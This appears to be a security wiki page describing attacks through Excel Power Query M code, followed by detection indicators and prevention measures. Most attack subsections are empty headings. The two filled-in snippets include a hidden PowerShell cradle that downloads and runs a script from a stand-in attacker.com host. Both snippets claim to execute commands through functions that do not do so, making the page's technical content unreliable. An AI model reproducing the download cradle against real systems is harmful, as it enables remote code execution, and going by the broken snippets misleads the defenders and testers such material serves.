Excel Power Query Injection

Advanced attack vectors using Excel Power Query (Get & Transform) for data exfiltration, code execution, and persistence.

📋 Overview

Power Query in Excel provides powerful data transformation capabilities that can be abused for malicious purposes. These attacks exploit M code injection, custom connectors, and data source manipulation.

🎯 Attack Vectors

1. M Code Injection

Basic M Code Execution

let
    Source = Excel.CurrentWorkbook(){[Name="Table1"]}[Content],
    // Malicious M code injection
    ExecuteCommand = Text.Binary("cmd.exe /c calc.exe"),
    RunCommand = Binary.Buffer(ExecuteCommand)
in
    RunCommand

PowerShell Execution via M Code

let
    // Execute PowerShell command
    PSCommand = "powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')",
    ExecutePS = Text.Binary(PSCommand),
    Result = Binary.Buffer(ExecutePS)
in
    Result

Base64-Encoded M Code

2. Data Source Manipulation

Malicious Web Content

SharePoint Injection

SQL Injection via Power Query

3. Custom Connector Injection

Custom Connector with Malicious Code

Connector Persistence

4. Data Exfiltration via Power Query

Exfiltrate User Data

Exfiltrate Excel Data

5. Scheduled Refresh Attacks

Auto-Execute on Refresh

Persistence via Scheduled Refresh

6. Advanced M Code Obfuscation

Function-Based Obfuscation

List Manipulation

7. Environment Variable Abuse

System Information Collection

8. File System Manipulation

Read Sensitive Files

🛡️ Detection Techniques

Power Query Anomalies

  • Unusual data sources (HTTP connections to unknown IPs)

  • M code containing command execution patterns

  • Custom connectors from untrusted sources

  • Frequent scheduled refresh to suspicious endpoints

  • Base64 encoded content in M code

Behavioral Indicators

  • Excel process spawning unusual child processes

  • Network connections from Excel to suspicious domains

  • File system access attempts from Excel

  • Power Query errors related to security restrictions

Technical Detection

🚫 Prevention Measures

Excel Security Settings

  1. Disable Power Query for sensitive environments

  2. Require Data Source Approval for new connections

  3. Block External Data Connections via Group Policy

  4. Enable Power Query Privacy Settings

  5. Restrict Scheduled Refresh permissions

Network Controls

  1. Block suspicious domains at firewall/proxy level

  2. Monitor outbound connections from Excel processes

  3. Implement DLP for data exfiltration prevention

  4. Use application whitelisting for Excel extensions

Security Policies

📚 References


⚠️ This documentation is for educational purposes and authorized security testing only.

Last updated